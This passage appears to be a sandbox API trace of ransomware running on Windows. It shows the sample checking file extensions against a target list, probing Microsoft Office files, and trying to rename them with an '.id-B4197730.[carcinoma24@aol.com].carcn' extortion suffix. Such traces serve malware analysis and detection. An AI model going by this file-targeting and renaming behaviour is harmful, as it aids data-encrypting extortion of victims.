(lpString=".doc") returned 4 [0269.324] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0269.324] lstrlenW (lpString=".docx") returned 5 [0269.324] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0269.325] lstrlenW (lpString=".pdf") returned 4 [0269.325] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0269.325] lstrlenW (lpString=".xls") returned 4 [0269.325] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0269.325] lstrlenW (lpString=".xlsx") returned 5 [0269.325] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0269.325] lstrlenW (lpString=".ppt") returned 4 [0269.325] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0269.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.325] lstrlenW (lpString=".zip") returned 4 [0269.325] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0269.325] lstrlenW (lpString=".rar") returned 4 [0269.325] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0269.325] lstrlenW (lpString=".bz2") returned 4 [0269.325] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0269.325] lstrlenW (lpString=".7z") returned 3 [0269.325] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0269.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.325] lstrlenW (lpString=".dbf") returned 4 [0269.325] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0269.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.325] lstrlenW (lpString=".1cd") returned 4 [0269.325] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0269.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.326] lstrlenW (lpString=".jpg") returned 4 [0269.326] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0269.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.326] lstrlenW (lpString=".doc") returned 4 [0269.326] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0269.326] lstrlenW (lpString=".docx") returned 5 [0269.326] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0269.326] lstrlenW (lpString=".pdf") returned 4 [0269.326] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0269.326] lstrlenW (lpString=".xls") returned 4 [0269.326] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0269.326] lstrlenW (lpString=".xlsx") returned 5 [0269.326] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0269.326] lstrlenW (lpString=".ppt") returned 4 [0269.326] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0269.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.326] lstrlenW (lpString=".zip") returned 4 [0269.326] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0269.326] lstrlenW (lpString=".rar") returned 4 [0269.326] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0269.326] lstrlenW (lpString=".bz2") returned 4 [0269.326] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0269.326] lstrlenW (lpString=".7z") returned 3 [0269.326] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0269.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.327] lstrlenW (lpString=".dbf") returned 4 [0269.327] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0269.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.327] lstrlenW (lpString=".1cd") returned 4 [0269.327] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0269.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.327] lstrlenW (lpString=".jpg") returned 4 [0269.327] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0269.327] lstrcmpiW (lpString1=".EXE", lpString2=".carcn") returned 1 [0269.327] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0269.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0269.330] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=27200) returned 1 [0269.331] CloseHandle (hObject=0x530) returned 1 [0269.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0269.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.331] lstrlenW (lpString=".doc") returned 4 [0269.331] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0269.331] lstrlenW (lpString=".docx") returned 5 [0269.331] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0269.331] lstrlenW (lpString=".pdf") returned 4 [0269.331] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0269.331] lstrlenW (lpString=".xls") returned 4 [0269.331] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0269.331] lstrlenW (lpString=".xlsx") returned 5 [0269.331] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0269.331] lstrlenW (lpString=".ppt") returned 4 [0269.331] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0269.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.331] lstrlenW (lpString=".zip") returned 4 [0269.331] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0269.331] lstrlenW (lpString=".rar") returned 4 [0269.332] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0269.332] lstrlenW (lpString=".bz2") returned 4 [0269.332] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0269.332] lstrlenW (lpString=".7z") returned 3 [0269.332] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0269.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.332] lstrlenW (lpString=".dbf") returned 4 [0269.332] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0269.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.332] lstrlenW (lpString=".1cd") returned 4 [0269.332] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0269.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.332] lstrlenW (lpString=".jpg") returned 4 [0269.332] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0269.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.332] lstrlenW (lpString=".doc") returned 4 [0269.332] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0269.332] lstrlenW (lpString=".docx") returned 5 [0269.332] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0269.332] lstrlenW (lpString=".pdf") returned 4 [0269.332] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0269.332] lstrlenW (lpString=".xls") returned 4 [0269.332] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0269.332] lstrlenW (lpString=".xlsx") returned 5 [0269.332] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0269.332] lstrlenW (lpString=".ppt") returned 4 [0269.333] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0269.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.333] lstrlenW (lpString=".zip") returned 4 [0269.333] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0269.333] lstrlenW (lpString=".rar") returned 4 [0269.333] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0269.333] lstrlenW (lpString=".bz2") returned 4 [0269.333] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0269.333] lstrlenW (lpString=".7z") returned 3 [0269.333] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0269.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.333] lstrlenW (lpString=".dbf") returned 4 [0269.333] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0269.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.333] lstrlenW (lpString=".1cd") returned 4 [0269.333] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0269.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0269.333] lstrlenW (lpString=".jpg") returned 4 [0269.333] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0269.333] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0269.333] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0269.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0269.337] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=18624) returned 1 [0269.337] CloseHandle (hObject=0x530) returned 1 [0269.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0269.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.338] lstrlenW (lpString=".doc") returned 4 [0269.338] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0269.338] lstrlenW (lpString=".docx") returned 5 [0269.338] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0269.338] lstrlenW (lpString=".pdf") returned 4 [0269.338] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0269.338] lstrlenW (lpString=".xls") returned 4 [0269.338] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0269.338] lstrlenW (lpString=".xlsx") returned 5 [0269.338] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0269.338] lstrlenW (lpString=".ppt") returned 4 [0269.338] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0269.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.338] lstrlenW (lpString=".zip") returned 4 [0269.338] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0269.338] lstrlenW (lpString=".rar") returned 4 [0269.338] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0269.338] lstrlenW (lpString=".bz2") returned 4 [0269.338] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0269.338] lstrlenW (lpString=".7z") returned 3 [0269.338] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0269.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.338] lstrlenW (lpString=".dbf") returned 4 [0269.338] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0269.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.339] lstrlenW (lpString=".1cd") returned 4 [0269.339] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0269.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.339] lstrlenW (lpString=".jpg") returned 4 [0269.339] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0269.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.339] lstrlenW (lpString=".doc") returned 4 [0269.339] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0269.339] lstrlenW (lpString=".docx") returned 5 [0269.339] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0269.339] lstrlenW (lpString=".pdf") returned 4 [0269.339] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0269.339] lstrlenW (lpString=".xls") returned 4 [0269.339] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0269.339] lstrlenW (lpString=".xlsx") returned 5 [0269.339] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0269.339] lstrlenW (lpString=".ppt") returned 4 [0269.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0269.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.339] lstrlenW (lpString=".zip") returned 4 [0269.339] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0269.339] lstrlenW (lpString=".rar") returned 4 [0269.339] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0269.340] lstrlenW (lpString=".bz2") returned 4 [0269.340] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0269.340] lstrlenW (lpString=".7z") returned 3 [0269.340] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0269.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.340] lstrlenW (lpString=".dbf") returned 4 [0269.340] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0269.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.340] lstrlenW (lpString=".1cd") returned 4 [0269.340] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0269.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0269.340] lstrlenW (lpString=".jpg") returned 4 [0269.340] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0269.340] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0269.340] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0269.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0269.342] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=18624) returned 1 [0269.342] CloseHandle (hObject=0x530) returned 1 [0269.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0269.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.343] lstrlenW (lpString=".doc") returned 4 [0269.343] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0269.343] lstrlenW (lpString=".docx") returned 5 [0269.343] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0269.343] lstrlenW (lpString=".pdf") returned 4 [0269.343] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0269.343] lstrlenW (lpString=".xls") returned 4 [0269.343] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0269.343] lstrlenW (lpString=".xlsx") returned 5 [0269.343] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0269.343] lstrlenW (lpString=".ppt") returned 4 [0269.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0269.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.343] lstrlenW (lpString=".zip") returned 4 [0269.343] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0269.343] lstrlenW (lpString=".rar") returned 4 [0269.343] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0269.343] lstrlenW (lpString=".bz2") returned 4 [0269.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0269.343] lstrlenW (lpString=".7z") returned 3 [0269.343] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0269.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.343] lstrlenW (lpString=".dbf") returned 4 [0269.343] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0269.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.344] lstrlenW (lpString=".1cd") returned 4 [0269.344] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0269.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.344] lstrlenW (lpString=".jpg") returned 4 [0269.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0269.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.344] lstrlenW (lpString=".doc") returned 4 [0269.344] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0269.344] lstrlenW (lpString=".docx") returned 5 [0269.344] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0269.344] lstrlenW (lpString=".pdf") returned 4 [0269.344] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0269.344] lstrlenW (lpString=".xls") returned 4 [0269.344] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0269.344] lstrlenW (lpString=".xlsx") returned 5 [0269.344] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0269.344] lstrlenW (lpString=".ppt") returned 4 [0269.344] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0269.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.344] lstrlenW (lpString=".zip") returned 4 [0269.344] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0269.344] lstrlenW (lpString=".rar") returned 4 [0269.344] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0269.344] lstrlenW (lpString=".bz2") returned 4 [0269.345] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0269.345] lstrlenW (lpString=".7z") returned 3 [0269.345] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0269.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.345] lstrlenW (lpString=".dbf") returned 4 [0269.345] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0269.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.345] lstrlenW (lpString=".1cd") returned 4 [0269.345] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0269.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0269.345] lstrlenW (lpString=".jpg") returned 4 [0269.345] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0269.345] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0269.345] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0269.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0269.346] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=21184) returned 1 [0269.346] CloseHandle (hObject=0x530) returned 1 [0269.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0269.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0269.347] lstrlenW (lpString=".doc") returned 4 [0269.347] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0269.347] lstrlenW (lpString=".docx") returned 5 [0269.347] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0269.347] lstrlenW (lpString=".pdf") returned 4 [0269.347] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0269.347] lstrlenW (lpString=".xls") returned 4 [0269.347] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0269.347] lstrlenW (lpString=".xlsx") returned 5 [0269.347] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0269.347] lstrlenW (lpString=".ppt") returned 4 [0269.347] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0269.347] lstrlenW (lpString=".zip") returned 4 [0269.347] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0269.347] lstrlenW (lpString=".rar") returned 4 [0269.347] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0269.347] lstrlenW (lpString=".bz2") returned 4 [0269.347] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0269.347] lstrlenW (lpString=".7z") returned 3 [0269.347] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0269.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0269.347] lstrlenW (lpString=".dbf") returned 4 [0269.347] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0269.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0269.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0269.893] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0269.915] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=7384) returned 1 [0269.915] CloseHandle (hObject=0x524) returned 1 [0269.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft 